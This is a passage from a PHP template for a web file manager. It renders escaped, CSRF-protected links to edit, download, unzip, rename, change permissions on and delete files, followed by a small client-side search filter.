btn-icon" title="Edit File"><i class="fas fa-pen-to-square"></i></a> <a href="?action=download&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Download"><i class="fas fa-download"></i></a> <?php if(strtolower(pathinfo($path, PATHINFO_EXTENSION)) === 'zip'): ?> <a href="?action=unzip&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon" title="Extract ZIP"><i class="fas fa-box-open"></i></a> <?php endif; ?> <?php endif; ?> <a href="#rename-<?php echo md5($item); ?>" class="btn btn-icon" title="Rename Item"><i class="fas fa-i-cursor"></i></a> <a href="#perms-<?php echo md5($item); ?>" class="btn btn-icon <?php echo $perm_btn_class; ?>" title="Change Permissions (Status: <?php echo $writable ? 'Writable' : 'Locked'; ?>)"><i class="fas fa-key"></i></a> <a href="?action=delete&file=<?php echo htmlspecialchars(urlencode($path), ENT_QUOTES, 'UTF-8'); ?>&csrf_token=<?php echo htmlspecialchars(urlencode($_SESSION['csrf_token']), ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-icon btn-danger" title="Delete Forever" onclick="return confirm('Are you sure you want to permanently delete this?');"><i class="fas fa-trash-can"></i></a> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> <script> document.getElementById('searchInput').addEventListener('input', function() { const filter = this.value.toLowerCase(); const rows = document.querySelectorAll('#file-tbody .file-row'); rows.forEach(row => { const name = row.getAttribute('data-name').toLowerCase(); if (name.includes(filter)) { row.style.display = ''; } else { row.style.display = 'none'; } }); }); </script> </body> </html>
Close